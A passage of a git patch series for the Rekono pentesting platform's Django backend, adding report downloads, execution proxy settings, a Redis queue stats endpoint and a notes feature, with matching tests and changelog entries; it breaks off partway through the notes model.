8e5c4a737..0315c57f9 100644 --- a/src/backend/tools/parsers/sslscan.py +++ b/src/backend/tools/parsers/sslscan.py @@ -27,7 +27,7 @@ def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: def _parse_report(self) -> None: try: root = self._load_report_as_xml() - except: + except Exception: return for test in root.findall("ssltest"): for item in test: diff --git a/src/backend/tools/urls.py b/src/backend/tools/urls.py index c055343fe..55e5ba818 100644 --- a/src/backend/tools/urls.py +++ b/src/backend/tools/urls.py @@ -4,7 +4,7 @@ # Register your views here. router = SimpleRouter() -router.register('tools', ToolViewSet) -router.register('configurations', ConfigurationViewSet) +router.register("tools", ToolViewSet) +router.register("configurations", ConfigurationViewSet) urlpatterns = router.urls diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py index db480d513..9a1c6516b 100644 --- a/src/backend/tools/views.py +++ b/src/backend/tools/views.py @@ -1,8 +1,6 @@ from framework.views import BaseViewSet, LikeViewSet -from rest_framework import status from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request -from rest_framework.response import Response from security.authorization.permissions import RekonoModelPermission from tools.filters import ConfigurationFilter, ToolFilter from tools.models import Configuration, Tool diff --git a/src/backend/users/admin.py b/src/backend/users/admin.py index 8c38f3f3d..74f9447a9 100644 --- a/src/backend/users/admin.py +++ b/src/backend/users/admin.py @@ -1,3 +1,6 @@ from django.contrib import admin +from users.models import User # Register your models here. + +admin.site.register(User) diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 3cce4be99..2c0b36e3c 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -16,7 +16,11 @@ from security.authorization.roles import Role from security.cryptography.hashing import hash from security.cryptography.random import generate_random_value -from security.input_validator import FutureDatetimeValidator, Regex, Validator +from security.validators.input_validator import ( + FutureDatetimeValidator, + Regex, + Validator, +) from users.enums import Notification # Create your models here. @@ -78,6 +82,7 @@ def create_user( user.username = username user.first_name = first_name user.last_name = last_name + # nosemgrep: python.django.security.audit.unvalidated-password.unvalidated-password user.set_password(password) user.is_active = True user.otp = None diff --git a/src/backend/wordlists/admin.py b/src/backend/wordlists/admin.py index 973b74a2c..006fb9d32 100644 --- a/src/backend/wordlists/admin.py +++ b/src/backend/wordlists/admin.py @@ -3,4 +3,4 @@ # Register your models here. -admin.site.register(Wordlist) \ No newline at end of file +admin.site.register(Wordlist) diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py index a3a54827a..3134d8137 100644 --- a/src/backend/wordlists/models.py +++ b/src/backend/wordlists/models.py @@ -6,7 +6,7 @@ from framework.models import BaseInput, BaseLike from rekono.settings import AUTH_USER_MODEL from security.file_handler import FileHandler -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator from targets.models import Target from wordlists.enums import WordlistType diff --git a/src/backend/wordlists/serializers.py b/src/backend/wordlists/serializers.py index c325cfd1a..15ab8a7bf 100644 --- a/src/backend/wordlists/serializers.py +++ b/src/backend/wordlists/serializers.py @@ -1,7 +1,6 @@ from typing import Any, Dict from framework.serializers import LikeSerializer -from rekono.settings import CONFIG from rest_framework.serializers import FileField, ModelSerializer from security.file_handler import FileHandler from users.serializers import SimpleUserSerializer diff --git a/src/backend/wordlists/views.py b/src/backend/wordlists/views.py index 84201ccea..38de948c2 100644 --- a/src/backend/wordlists/views.py +++ b/src/backend/wordlists/views.py @@ -1,7 +1,8 @@ from framework.views import LikeViewSet from rest_framework.permissions import IsAuthenticated from rest_framework.serializers import Serializer -from security.authorization.permissions import OwnerPermission, RekonoModelPermission +from security.authorization.permissions import (OwnerPermission, + RekonoModelPermission) from wordlists.filters import WordlistFilter from wordlists.models import Wordlist from wordlists.serializers import UpdateWordlistSerializer, WordlistSerializer From 070fffabe63cf3c3e49fd05169a13ec0a6c3be1e Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Sat, 30 Dec 2023 14:02:14 +0100 Subject: [PATCH 124/141] Download original reports generated by tools (#264) * Download original reports generated by tools * Fix typing * Fix executions serializer --- src/backend/executions/serializers.py | 7 +++++- src/backend/executions/views.py | 33 +++++++++++++++++++++++++++ src/backend/framework/serializers.py | 8 +++---- src/backend/tests/cases.py | 2 +- src/backend/tests/framework.py | 8 +++++++ src/backend/tests/test_executions.py | 30 ++++++++++++++++++++++++ src/backend/users/serializers.py | 2 +- 7 files changed, 83 insertions(+), 7 deletions(-) diff --git a/src/backend/executions/serializers.py b/src/backend/executions/serializers.py index 9669e6190..13a902208 100644 --- a/src/backend/executions/serializers.py +++ b/src/backend/executions/serializers.py @@ -1,10 +1,11 @@ from executions.models import Execution -from rest_framework.serializers import ModelSerializer +from rest_framework.serializers import ModelSerializer, SerializerMethodField from tools.serializers import ConfigurationSerializer class ExecutionSerializer(ModelSerializer): configuration = ConfigurationSerializer(many=False, read_only=True) + has_report = SerializerMethodField() class Meta: model = Execution @@ -16,7 +17,11 @@ class Meta: "output_plain", "output_error", "skipped_reason", + "has_report", "status", "start", "end", ) + + def get_has_report(self, instance: Execution) -> bool: + return instance.output_file is not None diff --git a/src/backend/executions/views.py b/src/backend/executions/views.py index af601a3dc..2641f4f07 100644 --- a/src/backend/executions/views.py +++ b/src/backend/executions/views.py @@ -1,3 +1,4 @@ +from executions.enums import Status from executions.filters import ExecutionFilter from executions.models import Execution from executions.serializers import ExecutionSerializer @@ -7,6 +8,14 @@ ProjectMemberPermission, RekonoModelPermission, ) +from drf_spectacular.utils import extend_schema, OpenApiResponse +from rest_framework.status import HTTP_404_NOT_FOUND, HTTP_400_BAD_REQUEST, HTTP_200_OK +from django.http import FileResponse +from rest_framework.decorators import action +from rest_framework.request import Request +from rest_framework.response import Response +from pathlib import Path +from rekono.settings import CONFIG # Create your views here. @@ -40,3 +49,27 @@ class ExecutionViewSet(BaseViewSet): http_method_names = [ "get", ] + + @extend_schema( + request=None, + responses={ + 200: OpenApiResponse(description="Execution report file"), + 404: None, + }, + ) + @action(detail=True, methods=["GET"], url_path="report", url_name="report") + def download_report(self, request: Request, pk: str) -> Response: + execution = self.get_object() + if execution.status != Status.COMPLETED: + return Response( + {"execution": "Execution is not completed"}, status=HTTP_400_BAD_REQUEST + ) + path = Path(CONFIG.reports) / (execution.output_file or "") + if not execution.output_file or not path.is_file(): + return Response(status=HTTP_404_NOT_FOUND) + return FileResponse( + path.open("rb"), + as_attachment=True, + filename=f"execution-{execution.id}-{execution.configuration.tool.name.replace(' ', '_')}.{execution.configuration.tool.output_format}", + status=HTTP_200_OK, + ) diff --git a/src/backend/framework/serializers.py b/src/backend/framework/serializers.py index 94cb98ac5..9016b56d1 100644 --- a/src/backend/framework/serializers.py +++ b/src/backend/framework/serializers.py @@ -7,10 +7,10 @@ class LikeSerializer(ModelSerializer): """Common serializer for all models that can be liked.""" - liked = SerializerMethodField(method_name="is_liked_by_user", read_only=True) - likes = SerializerMethodField(method_name="count_likes", read_only=True) + liked = SerializerMethodField(read_only=True) + likes = SerializerMethodField(read_only=True) - def is_liked_by_user(self, instance: Any) -> bool: + def get_liked(self, instance: Any) -> bool: """Check if an instance is liked by the current user or not. Args: @@ -25,7 +25,7 @@ def is_liked_by_user(self, instance: Any) -> bool: } return User.objects.filter(**check_likes).exists() - def count_likes(self, instance: Any) -> int: + def get_likes(self, instance: Any) -> int: """Count number of likes for an instance. Args: diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 6e23fbf6e..232c68599 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -60,8 +60,8 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: format=self.format, ) self.tc.assertEqual(self.status_code, response.status_code) - content = json.loads((response.content or "{}".encode()).decode()) if self.expected is not None: + content = json.loads((response.content or "{}".encode()).decode()) if isinstance(self.expected, dict): self._check_response_content(self.expected, content) elif isinstance(self.expected, list): diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 5cba7a4ff..204dbf152 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -1,4 +1,5 @@ import hashlib +import shutil import json from pathlib import Path as PathFile from typing import Any, Dict, List, Optional @@ -6,6 +7,7 @@ from authentications.enums import AuthenticationType from authentications.models import Authentication from django.test import TestCase +from rekono.settings import CONFIG from executions.enums import Status from executions.models import Execution from findings.enums import ( @@ -194,6 +196,7 @@ def _setup_tasks_and_executions(self) -> None: task=self.running_task, configuration=process_step.configuration, status=Status.COMPLETED, + output_file="not_found_report.json", ) self.execution2 = Execution.objects.create( task=self.running_task, @@ -206,10 +209,15 @@ def _setup_tasks_and_executions(self) -> None: configuration=configuration, executor=self.auditor1, ) + report_filename = "nmap.xml" + execution_report = CONFIG.reports / report_filename + test_report = self.data_dir / "reports" / "nmap" / "smb-users.xml" + shutil.copy(test_report, execution_report) self.execution3 = Execution.objects.create( task=self.completed_task, configuration=configuration, status=Status.COMPLETED, + output_file=report_filename, ) def _create_finding( diff --git a/src/backend/tests/test_executions.py b/src/backend/tests/test_executions.py index 4b933bfac..1423ec84d 100644 --- a/src/backend/tests/test_executions.py +++ b/src/backend/tests/test_executions.py @@ -66,6 +66,36 @@ class ExecutionTest(ApiTest): }, endpoint="{endpoint}3/", ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 404, + endpoint="{endpoint}1/report/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint="{endpoint}2/report/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 400, + endpoint="{endpoint}2/report/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint="{endpoint}3/report/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + endpoint="{endpoint}3/report/", + ), ] def setUp(self) -> None: diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index acdd5c114..4685e3e86 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -25,7 +25,7 @@ class UserSerializer(ModelSerializer): """Serializer to get the users data via API.""" - role = SerializerMethodField(method_name="get_role") + role = SerializerMethodField() class Meta: model = User From 1db438a2ac3c398f05466eca78aaa220471b5ae5 Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Sat, 30 Dec 2023 15:35:49 +0100 Subject: [PATCH 125/141] Custom proxy configuration for executions (#265) * Custom proxy configuration for executions * Remove unused import --- CHANGELOG.md | 2 ++ .../security/validators/input_validator.py | 2 +- src/backend/settings/fixtures/1_default.json | 7 +++- src/backend/settings/models.py | 31 ++++++++++++++++ src/backend/settings/serializers.py | 5 +++ src/backend/tests/executors/test_base.py | 36 +++++++++++++++---- src/backend/tests/test_settings.py | 29 ++++++++++++--- src/backend/tools/executors/base.py | 6 ++++ 8 files changed, 105 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 321660649..9725f15a5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Keep tool versions updated from the system in the database (https://github.com/pablosnt/rekono/issues/222) - Configure Defect-Dojo product type at Rekono project level (https://github.com/pablosnt/rekono/issues/222) - Add Rekono project tags to Defect-Dojo products (https://github.com/pablosnt/rekono/issues/222) +- Download of original tool's reports (https://github.com/pablosnt/rekono/pull/264) +- Configure custom proxies for executions (https://github.com/pablosnt/rekono/pull/265) ### Security diff --git a/src/backend/security/validators/input_validator.py b/src/backend/security/validators/input_validator.py index 265cd2f7b..95403bb51 100644 --- a/src/backend/security/validators/input_validator.py +++ b/src/backend/security/validators/input_validator.py @@ -16,7 +16,7 @@ class Regex(Enum): NAME = r"[\wÀ-ÿ\s\.\-\[\]()@]{0,120}" TEXT = r'[\wÀ-ÿ\s\.:,+\-\'"?¿¡!#%$€\[\]()]{0,300}' TARGET = r"[\w\d\.:\-/]{1,100}" - TARGET_REGEX = r"[\w\d\.:\-/\.\*\?\+\(\)\\]{1,100}" + TARGET_REGEX = r"[\w\d\.,:\-/\.\*\?\+\(\)\\]{1,300}" PATH = r"[\w\.\-_/\\]{0,500}" PATH_WITH_QUERYPARAMS = r"[\w\.\-_/\\#?&%$]{0,500}" CVE = r"CVE-\d{4}-\d{1,7}" diff --git a/src/backend/settings/fixtures/1_default.json b/src/backend/settings/fixtures/1_default.json index 9ce098682..9dc880da1 100644 --- a/src/backend/settings/fixtures/1_default.json +++ b/src/backend/settings/fixtures/1_default.json @@ -3,7 +3,12 @@ "model": "settings.settings", "pk": 1, "fields": { - "max_uploaded_file_mb": 512 + "max_uploaded_file_mb": 512, + "all_proxy": null, + "http_proxy": null, + "https_proxy": null, + "ftp_proxy": null, + "no_proxy": null } } ] \ No newline at end of file diff --git a/src/backend/settings/models.py b/src/backend/settings/models.py index 0f0973cf6..a4fcbbc7f 100644 --- a/src/backend/settings/models.py +++ b/src/backend/settings/models.py @@ -1,6 +1,7 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models from framework.models import BaseModel +from security.validators.input_validator import Regex, Validator # Create your models here. @@ -10,3 +11,33 @@ class Settings(BaseModel): max_uploaded_file_mb = models.IntegerField( default=512, validators=[MinValueValidator(128), MaxValueValidator(3072)] ) + all_proxy = models.TextField( + max_length=300, + validators=[Validator(Regex.TARGET_REGEX.value)], + blank=True, + null=True, + ) + http_proxy = models.TextField( + max_length=300, + validators=[Validator(Regex.TARGET_REGEX.value)], + blank=True, + null=True, + ) + https_proxy = models.TextField( + max_length=300, + validators=[Validator(Regex.TARGET_REGEX.value)], + blank=True, + null=True, + ) + ftp_proxy = models.TextField( + max_length=300, + validators=[Validator(Regex.TARGET_REGEX.value)], + blank=True, + null=True, + ) + no_proxy = models.TextField( + max_length=300, + validators=[Validator(Regex.TARGET_REGEX.value)], + blank=True, + null=True, + ) diff --git a/src/backend/settings/serializers.py b/src/backend/settings/serializers.py index a5142d65e..1e7060fd7 100644 --- a/src/backend/settings/serializers.py +++ b/src/backend/settings/serializers.py @@ -8,4 +8,9 @@ class Meta: fields = ( "id", "max_uploaded_file_mb", + "all_proxy", + "http_proxy", + "https_proxy", + "ftp_proxy", + "no_proxy", ) diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index a0f177b91..41b934352 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -1,5 +1,5 @@ import base64 -from typing import List +from typing import Dict, List, Any from unittest import mock from authentications.enums import AuthenticationType @@ -11,6 +11,7 @@ from tests.executors.mock import get_url from tests.framework import RekonoTest from wordlists.models import Wordlist +from settings.models import Settings class ToolExecutorTest(RekonoTest): @@ -23,16 +24,37 @@ def setUp(self) -> None: self.osint.save(update_fields=["data", "data_type"]) self.executor = self.fake_tool.get_executor_class()(self.execution) + def _test_environment(self, expected: Dict[str, Any]) -> None: + environment = self.executor._get_environment() + for key, value in expected.items(): + self.assertIsNotNone(environment.get(key)) + self.assertEqual(value, environment.get(key)) + def test_get_environment(self) -> None: - expected_env = [("KEY1", "value1"), ("KEY2", "value2")] - self.executor.arguments = [f"{k}={v}" for k, v in expected_env] + [ + expected_env = {"KEY1": "value1", "KEY2": "value2"} + self.executor.arguments = [f"{k}={v}" for k, v in expected_env.items()] + [ self.fake_tool.command, "--foo=bar", ] - environment = self.executor._get_environment() - for key, value in expected_env: - self.assertIsNotNone(environment.get(key)) - self.assertEqual(value, environment.get(key)) + self._test_environment(expected_env) + + def test_get_environment_with_proxies(self) -> None: + expected_env = { + "ALL_PROXY": "10.10.10.10:8080", + "HTTP_PROXY": "http://10.10.10.10:80", + "HTTPS_PROXY": "https://10.10.10.10:443", + "FTP_PROXY": "ftp://10.10.10.10:21", + "NO_PROXY": "127.0.0.1", + } + settings = Settings.objects.first() + for field, value in expected_env.items(): + setattr(settings, field.lower(), value) + settings.save(update_fields=[f.lower() for f in expected_env.keys()]) + self.executor.arguments = [ + self.fake_tool.command, + "--foo=bar", + ] + self._test_environment(expected_env) def _success_get_arguments( self, diff --git a/src/backend/tests/test_settings.py b/src/backend/tests/test_settings.py index b432392a5..ef50d3dce 100644 --- a/src/backend/tests/test_settings.py +++ b/src/backend/tests/test_settings.py @@ -4,10 +4,31 @@ from tests.cases import ApiTestCase from tests.framework import ApiTest -settings = {"max_uploaded_file_mb": 512} -new_settings = {"max_uploaded_file_mb": 1024} -invalid_settings_1 = {"max_uploaded_file_mb": 1} -invalid_settings_2 = {"max_uploaded_file_mb": 4096} +settings = { + "max_uploaded_file_mb": 512, + "all_proxy": None, + "http_proxy": None, + "https_proxy": None, + "ftp_proxy": None, + "no_proxy": None, +} +new_settings = { + "max_uploaded_file_mb": 1024, + "all_proxy": "10.10.10.10:8080", + "http_proxy": "http://10.10.10.10:80", + "https_proxy": "https://10.10.10.10:443", + "ftp_proxy": "ftp://10.10.10.10:21", + "no_proxy": "127.0.0.1", +} +invalid_settings_1 = { + "max_uploaded_file_mb": 1, + "all_proxy": "10.10.10.10;8080", + "http_proxy": "http://10.10.10.10;80", + "https_proxy": "https://10.10.10.10;443", + "ftp_proxy": "ftp://10.10.10.10;21", + "no_proxy": "127.0.0;1", +} +invalid_settings_2 = {**invalid_settings_1, "max_uploaded_file_mb": 4096} class SettingsTest(ApiTest): diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index efa23612b..8ce5b2465 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -5,6 +5,8 @@ import uuid from pathlib import Path from typing import Any, Dict, List +from settings.models import Settings +from django.forms.models import model_to_dict from authentications.models import Authentication from django.utils import timezone @@ -154,6 +156,10 @@ def _get_environment(self) -> Dict[str, Any]: value.strip().replace("'", "").replace('"', "") ) self.arguments = self.arguments[index:] + settings = Settings.objects.first() + for proxy in model_to_dict(Settings).keys(): + if "_proxy" in proxy and getattr(settings, proxy) is not None: + environment[proxy.upper()] = getattr(settings, proxy) return environment def _before_running(self) -> None: From 5638f1e1319289c5cd042c91b8384bc3efc2e6ea Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Sat, 30 Dec 2023 17:48:09 +0100 Subject: [PATCH 126/141] New endpoint to get RQ status and stats (#266) * New endpoint to get RQ status and stats * Fix unit tests --- CHANGELOG.md | 1 + src/backend/rekono/urls.py | 2 ++ src/backend/rekono/views.py | 52 ++++++++++++++++++++++++++++++ src/backend/tests/test_rq_stats.py | 10 ++++++ 4 files changed, 65 insertions(+) create mode 100644 src/backend/rekono/views.py create mode 100644 src/backend/tests/test_rq_stats.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 9725f15a5..af59f56b7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Add Rekono project tags to Defect-Dojo products (https://github.com/pablosnt/rekono/issues/222) - Download of original tool's reports (https://github.com/pablosnt/rekono/pull/264) - Configure custom proxies for executions (https://github.com/pablosnt/rekono/pull/265) +- New endpoint to get status and stats about Redis queues (https://github.com/pablosnt/rekono/pull/266) ### Security diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index d5a34edcc..5d3b1cd53 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -23,6 +23,7 @@ SpectacularSwaggerView, ) from rest_framework.urlpatterns import format_suffix_patterns +from rekono.views import RQStatsView urlpatterns = [ path("admin/", admin.site.urls), @@ -45,6 +46,7 @@ path("api/", include("tools.urls")), path("api/", include("users.urls")), path("api/", include("wordlists.urls")), + path("api/rq-stats/", RQStatsView.as_view(), name="redis-stats"), # OpenAPI specification path("api/schema/", SpectacularAPIView.as_view(), name="schema"), # Swagger-UI diff --git a/src/backend/rekono/views.py b/src/backend/rekono/views.py new file mode 100644 index 000000000..b1461198f --- /dev/null +++ b/src/backend/rekono/views.py @@ -0,0 +1,52 @@ +from rest_framework.views import APIView +from rest_framework.status import HTTP_200_OK +from security.authorization.permissions import IsAdmin +from rest_framework.request import Request +from rest_framework.response import Response +from django_rq.utils import get_statistics +from drf_spectacular.utils import extend_schema, inline_serializer +from rest_framework import serializers + +exposed_fields = [ + "jobs", # Enqueued jobs + "workers", + "finished_jobs", + "started_jobs", # Running jobs + "deferred_jobs", + "failed_jobs", + "scheduled_jobs", +] + + +class RQStatsView(APIView): + permission_classes = [IsAdmin] + + @extend_schema( + request=None, + responses={ + 200: inline_serializer( + name="RQ Stats", + fields={ + "executions-queue": inline_serializer( + name="Queue Stats", + fields={k: serializers.IntegerField() for k in exposed_fields}, + ), + "findings-queue": inline_serializer( + name="Queue Stats", + fields={k: serializers.IntegerField() for k in exposed_fields}, + ), + "tasks-queue": inline_serializer( + name="Queue Stats", + fields={k: serializers.IntegerField() for k in exposed_fields}, + ), + }, + ) + }, + ) + def get(self, request: Request) -> Response: + stats = {} + for queue in get_statistics().get("queues", []): + stats[queue["name"]] = { + k: v for k, v in queue.items() if k in exposed_fields + } + return Response(stats, status=HTTP_200_OK) diff --git a/src/backend/tests/test_rq_stats.py b/src/backend/tests/test_rq_stats.py new file mode 100644 index 000000000..088cffaa0 --- /dev/null +++ b/src/backend/tests/test_rq_stats.py @@ -0,0 +1,10 @@ +from tests.cases import ApiTestCase +from tests.framework import ApiTest + + +class RQStatsTest(ApiTest): + endpoint = "/api/rq-stats/" + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase(["admin1", "admin2"], "get", 200), + ] From d6fdd864d769cbefa925952ec8bb06aaf1d123bb Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Wed, 3 Jan 2024 20:09:53 +0100 Subject: [PATCH 127/141] Pentesting notes feature (#268) * Pentesting notes feature * Fix code style issues --- CHANGELOG.md | 9 +- src/backend/findings/models.py | 2 +- src/backend/framework/filters.py | 4 + src/backend/framework/views.py | 16 +- src/backend/notes/__init__.py | 0 src/backend/notes/admin.py | 6 + src/backend/notes/apps.py | 6 + src/backend/notes/filters.py | 33 +++ src/backend/notes/models.py | 47 ++++ src/backend/notes/serializers.py | 35 +++ src/backend/notes/urls.py | 7 + src/backend/notes/views.py | 92 +++++++ src/backend/projects/serializers.py | 2 + src/backend/rekono/settings.py | 1 + src/backend/rekono/urls.py | 3 +- src/backend/rekono/views.py | 8 +- .../security/authorization/permissions.py | 18 +- src/backend/security/authorization/roles.py | 6 + .../security/validators/input_validator.py | 2 +- src/backend/targets/serializers.py | 2 + src/backend/tests/test_notes.py | 242 ++++++++++++++++++ 21 files changed, 517 insertions(+), 24 deletions(-) create mode 100644 src/backend/notes/__init__.py create mode 100644 src/backend/notes/admin.py create mode 100644 src/backend/notes/apps.py create mode 100644 src/backend/notes/filters.py create mode 100644 src/backend/notes/models.py create mode 100644 src/backend/notes/serializers.py create mode 100644 src/backend/notes/urls.py create mode 100644 src/backend/notes/views.py create mode 100644 src/backend/tests/test_notes.py diff --git a/CHANGELOG.md b/CHANGELOG.md index af59f56b7..59c2a38fb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,11 +7,13 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), ### Added +- [**BREAKING**] Upgrade required `Python` version to `3.11` (https://github.com/pablosnt/rekono/issues/222) +- [**BREAKING**] Remove deprecated settings (https://github.com/pablosnt/rekono/issues/222) - Optimize, improve, clean and test source code (https://github.com/pablosnt/rekono/issues/222) - Remove tasks status (https://github.com/pablosnt/rekono/issues/222) - Remove steps priority (https://github.com/pablosnt/rekono/issues/222) -- New target ports path to limit executions to it (https://github.com/pablosnt/rekono/issues/222) -- New skipped reason field for skipped executions (https://github.com/pablosnt/rekono/issues/222) +- Target ports path to limit executions to it (https://github.com/pablosnt/rekono/issues/222) +- Skipped reason field for skipped executions (https://github.com/pablosnt/rekono/issues/222) - New executions group to aggregate those that can be executed at the same time (https://github.com/pablosnt/rekono/issues/222) - Keep tool versions updated from the system in the database (https://github.com/pablosnt/rekono/issues/222) - Configure Defect-Dojo product type at Rekono project level (https://github.com/pablosnt/rekono/issues/222) @@ -19,6 +21,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Download of original tool's reports (https://github.com/pablosnt/rekono/pull/264) - Configure custom proxies for executions (https://github.com/pablosnt/rekono/pull/265) - New endpoint to get status and stats about Redis queues (https://github.com/pablosnt/rekono/pull/266) +- Pentesting notes that are sharable with other users and linkable with a project or a target (https://github.com/pablosnt/rekono/issues/267) ### Security @@ -30,8 +33,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), ### Fixed -- [**BREAKING**] Upgrade required `Python` version to `3.11` (https://github.com/pablosnt/rekono/issues/222) -- [**BREAKING**] Remove deprecated settings (https://github.com/pablosnt/rekono/issues/222) - Send emails using a new thread instead of the `emails-queue` (https://github.com/pablosnt/rekono/issues/222) - Fix the creation of multiple engagements in Defect-Dojo to import scans from the same target (https://github.com/pablosnt/rekono/issues/222) - Remove duplicated API field to sort the data (https://github.com/pablosnt/rekono/issues/222) diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 976a42c83..6cd55d999 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -245,7 +245,7 @@ class Technology(Finding): related_to = models.ForeignKey( "Technology", related_name="related_technologies", - on_delete=models.DO_NOTHING, + on_delete=models.SET_NULL, blank=True, null=True, ) diff --git a/src/backend/framework/filters.py b/src/backend/framework/filters.py index ab12d43b2..aade537fe 100644 --- a/src/backend/framework/filters.py +++ b/src/backend/framework/filters.py @@ -48,3 +48,7 @@ class MultipleNumberFilter(MultipleFieldFilter, filters.NumberFilter): class MultipleCharFilter(MultipleFieldFilter, filters.CharFilter): pass + + +class MultipleModelChoiceFilter(MultipleFieldFilter, filters.ModelChoiceFilter): + pass diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py index 7ba04053e..69f197641 100644 --- a/src/backend/framework/views.py +++ b/src/backend/framework/views.py @@ -1,4 +1,4 @@ -from typing import Any, Dict +from typing import Any, Dict, Optional from django.core.exceptions import PermissionDenied from django.db.models import Count, QuerySet @@ -36,8 +36,10 @@ def _get_model(self) -> BaseModel: def _get_project_from_data( self, project_field: str, data: Dict[str, Any] - ) -> Project: + ) -> Optional[Project]: fields = project_field.split("__") + if not fields: + return None data = data.get(fields[0], {}) for field in fields[1:]: if hasattr(data, field): @@ -52,8 +54,10 @@ def get_queryset(self) -> QuerySet: if model: if model == Project: members_field = "members" - elif model.get_project_field(): - members_field = f"{model.get_project_field()}__members" + else: + project_field = model.get_project_field() + if project_field: + members_field = f"{project_field}__members" if members_field: if self.request.user.id: project_filter = {members_field: self.request.user} @@ -64,9 +68,9 @@ def get_queryset(self) -> QuerySet: def perform_create(self, serializer: Serializer) -> None: model = self._get_model() - if model and model.get_project_field(): + if model: project = self._get_project_from_data( - model.get_project_field(), serializer.validated_data + model.get_project_field() or "", serializer.validated_data ) if project and self.request.user not in project.members.all(): raise PermissionDenied() diff --git a/src/backend/notes/__init__.py b/src/backend/notes/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/notes/admin.py b/src/backend/notes/admin.py new file mode 100644 index 000000000..c3d289f0f --- /dev/null +++ b/src/backend/notes/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from notes.models import Note + +# Register your models here. + +admin.site.register(Note) diff --git a/src/backend/notes/apps.py b/src/backend/notes/apps.py new file mode 100644 index 000000000..850fdefc5 --- /dev/null +++ b/src/backend/notes/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig +from framework.apps import BaseApp + + +class NotesConfig(BaseApp, AppConfig): + name = "notes" diff --git a/src/backend/notes/filters.py b/src/backend/notes/filters.py new file mode 100644 index 000000000..594146f40 --- /dev/null +++ b/src/backend/notes/filters.py @@ -0,0 +1,33 @@ +from projects.models import Project +from framework.filters import ( + LikeFilter, + MultipleFieldFilterSet, + MultipleModelChoiceFilter, +) +from notes.models import Note +from django_filters.filters import CharFilter, BooleanFilter + + +class NoteFilter(LikeFilter, MultipleFieldFilterSet): + project = MultipleModelChoiceFilter( + queryset=Project.objects.all(), + field_name="id", + fields=["project", "target__project"], + ) + tag = CharFilter(field_name="tags__name", lookup_expr="in") + is_fork = BooleanFilter( + field_name="forked_from", lookup_expr="isnull", exclude=True + ) + + class Meta: + model = Note + fields = { + "target": ["exact"], + "title": ["exact", "icontains"], + "body": ["icontains"], + "owner": ["exact"], + "public": ["exact"], + "forked_from": ["exact"], + "created_at": ["gte", "lte", "exact"], + "updated_at": ["gte", "lte", "exact"], + } diff --git a/src/backend/notes/models.py b/src/backend/notes/models.py new file mode 100644 index 000000000..63a0fa8e6 --- /dev/null +++ b/src/backend/notes/models.py @@ -0,0 +1,47 @@ +from typing import Any +from targets.models import Target +from framework.models import BaseLike +from django.db import models +from projects.models import Project + +from taggit.managers import TaggableManager +from rekono.settings import AUTH_USER_MODEL +from security.validators.input_validator import Regex, Validator + + +class Note(BaseLike): + project = models.ForeignKey( + Project, related_name="notes", on_delete=models.CASCADE, null=True, blank=True + ) + target = models.ForeignKey( + Target, related_name="notes", on_delete=models.CASCADE, null=True, blank=True + ) + title = models.TextField( + max_length=200, validators=[Validator(Regex.NAME.value, code="title")] + ) + body = models.TextField(validators=[Validator(Regex.TEXT.value, code="body")]) + tags = TaggableManager() + owner = models.ForeignKey( + AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True + ) + public = models.BooleanField(default=False) + forked_from = models.ForeignKey( + "Note", + related_name="forks", + on_delete=models.SET_NULL, + 